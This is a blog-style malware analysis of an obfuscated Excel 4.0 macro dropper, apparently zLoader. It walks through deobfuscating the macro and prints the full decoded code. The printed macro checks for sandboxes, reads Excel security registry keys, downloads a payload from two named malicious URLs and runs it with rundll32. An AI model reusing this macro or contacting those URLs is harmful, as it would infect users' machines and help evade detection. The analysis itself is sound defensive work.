I got given by a friend a malicious Excel file that he analyzed as I’m eager to learn more
I’m not familiar with MS-Office forensic techniques, hencewhy I found this interesting to look into during my evenings.
First, when uploading to VirusTotal, today I’m writing the article, 18 products are now detecting it. End of last week, the number was only 5. I’ve also alerted Palo Alto Networks.
let’s open the file in a safe VM and let’s look at it.
User Awareness should if taught properly trigger User suspicion about this file, and hopefully prevent a User to Click on the Enable Content button
At first, looking at the macros Alt-F8, one cannot see any macros neither anything in the VBA editor Alt-F11. Obviously something is hidden as there is the warning about the macros.
Applying my colleage’s trick to unhide worksheets from Powershell is working nicely. I also did a Select ALL -> change color to default as it was white on white.
Running the Macro produces an error.
It’s all a bit confusing as the code is properly obfuscated. References like R something, and each time it seems to be related to cell 90:19 which has a value of 1548. So, some sort of obfuscation that didn’t run automativally on my VM.
Let’s use another tool (XLMMacroDeobfuscator) to try to understand more. I’m using the module xls_wrapper.py and it produces the following output
In this output format, it’s easier to read as references are not relative R… but real cell numbers. We can see that S90 seems to be the key to decipher the characters.
Let’s break down, the calculation of S90
When reading a great Excel 4.0 macro document : https://exceloffthegrid.com/download/4095/
Looking at page 201
171*GET.CELL(19,A81) : type 19 = Size of font, in points.
I’ve Selected Cell R83C1, right click Run
171*GET.CELL(19,A81) = 2052
GET.CELL(17,A81) : type 17 = Row height of cell, in points
GET.CELL(17,A81) = 18
So far my S90 = (2052- (18*28) = 1548
Let’s apply deciper to the first characters.
B4 = 1807 => -1548 = 259 => chr(259) = above 255. so wrong
B5 = 1819 also wrong …
So if this was the 1st of the month what would the decipher be ?
B4 = 1807 => -2034 = negative value … so also wrong. So it’s somewhere in between. A little Excel sheet as we are into Office today 🙂
So the payload is being triggered on the 17th.
Changing the date of the VM to the 17th, and replaying the Evaluate, we see the 1st line of code emerging
After some time going through it, here is the final code. I’ve highlighted the checks, the URLs and the execution and added a comment to explain what the line does. (here below a proper paste in order for search engine to index it)
=IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),) # Check Usable workspace width, in points
=IF(GET.WORKSPACE(14)<390,CLOSE(FALSE),) # Check Usable workspace height, in points
=IF(GET.WORKSPACE(19),,CLOSE(TRUE)) # Check If a mouse is present
=IF(GET.WORKSPACE(42),,CLOSE(TRUE)) # Check If your computer is capable of playing sounds
=IF(ISNUMBER(SEARCH(“Windows”,GET.WORKSPACE(1))),,CLOSE(TRUE)) # Name of the environment in which Microsoft Excel is running, as text, followed by the environment’s version number
=”C:\Users\Public\”&RANDBETWEEN(1,9999)&”.reg” # create random name for a reg file in
=”EXPORT HKCU\Software\Microsoft\Office\”&GET.WORKSPACE(2)&”\Excel\Security “&R[-1]C&” /y” # Lecture des clée de register de sécurité d’Excel
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\reg.exe”,R[-1]C,0,5) # Export des clé de registre
=WAIT(NOW()+”00:00:03″) # wait 3sec for export to finish
=FOPEN(R[-4]C) # Open the reg file
=FPOS(R[-1]C,215) # position at after 215 char
=FREAD(R[-2]C,255) # read 255 chars from that initial place
=FCLOSE(R[-3]C) # close the file
=FILE.DELETE(R[-8]C) # delete the reg file
=IF(ISNUMBER(SEARCH(“0001”,R[-3]C)),CLOSE(FALSE),) # find for string “0001” is in there.
=”C:\Users\Public\CVR”&RANDBETWEEN(1000,9999)&”.tmp.cvr” # Generate file CVRxxxx.tmp.cvr
=”http://q8dl3.com/wp-content/themes/calliope/wp_data.php” # URL 1
=”http://sarkarjewells.com/wp-content/themes/calliope/wp_data.php” # URL 2
=CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,R[-2]C,R[-3]C,0,0) # Download URL1
=FOPEN(R[-5]C,2) # write to file
=CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,R[-5]C,R[-7]C,0,0) # in case of Error, use URL2
=ALERT(“The workbook cannot be opened or repaired by Microsoft Excel because it’s corrupt.”,2) # Popup window
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\rundll32.exe”,R[-9]C&”,DllRegisterServer”,0,5) # Execute the malware
In Picture with colors, maybe clearer :
Googling it, shows it’s really similar that what @DynamicAnalysis has written in their Tweet feed which then attributes this excel sheet to zLoader : https://twitter.com/DynamicAnalysis/status/1252259631042301957
There is also articles on the DGA for the next phases : https://johannesbader.ch/blog/the-dga-of-zloader/
My intake of all this, is that Zloader is a clever peace of malware. Obfuscation, Day Based sandbox escaper and forensic headache, double URLs, Sandbox escaper (exit if detected) in this version 5 checks! , and apparently DGA Domain Generation Algorithm with multiple seeds to evade IOCs signatures
Thanks to so many other people’s tips, advise, work, documentation and tools which help me to comprehend all this and write this small article : @1mm0rt411 , @exceloffthegrid , @DissectMalware , @DynamicAnalysis , johannes Bader3